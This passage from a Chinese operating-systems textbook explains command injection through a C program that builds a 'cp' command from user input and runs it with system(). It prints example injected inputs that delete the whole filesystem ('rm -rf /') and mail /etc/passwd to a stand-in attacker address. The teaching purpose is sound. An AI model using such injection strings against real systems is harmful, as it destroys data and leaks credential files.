9.6.5 代码注入攻击

使得目标程序执行它所不期望的代码是一种攻击形式。比如有时候需要将用户文件以其他文件名另存(如为了备份)。如果程序员为了减轻工作量而直接调用系统函数,开启一个shell并执行shell命令。如下的C代码


System("ls>file-list")


开启shell,并执行命令

广告:个人专属 VPN,独立 IP,无限流量,多机房切换,还可以屏蔽广告和恶意软件,每月最低仅 5 美元


ls>file-list


列出当前目录下的文件列表,将其复制到叫做file-list的目录下。如上面所说,程序员写的代码可能如图9-26所示。

阅读 ‧ 电子书库
图 9-26 可能导致代码注入攻击的程序

该程序的功能是输入源和目的文件名后,用cp命令产生一条命令,最后调用system执行这条命令。如果用户分别输入“abc”和“xyz”,产生的命令为:


Cp abc xyz


它确实是在复制文件。

不幸的是,这段代码在有一个巨大的安全漏洞,可以用代码注入方法进行攻击。假如用户输入“abc”和“xyz;rm-rf”,命令就变成了:


Cp abc xyz;rm-rf/


先复制文件,然后递归地删除整个文件系统中所有文件和文件夹。如果该程序以系统管理员权限运行,此命令就会完全执行。问题的关键在于,分号后的字符都会命令的方式在shell中执行。

输入参数另一个构造例子可以是“xyz;mail snooper@badguys.com</etc/passwd”,产生如下命令:


Cp abc xyz;mail snooper@badguys.com</etc/passwd


将etc目录下passwd文件发送到了一个不可信的邮箱中了。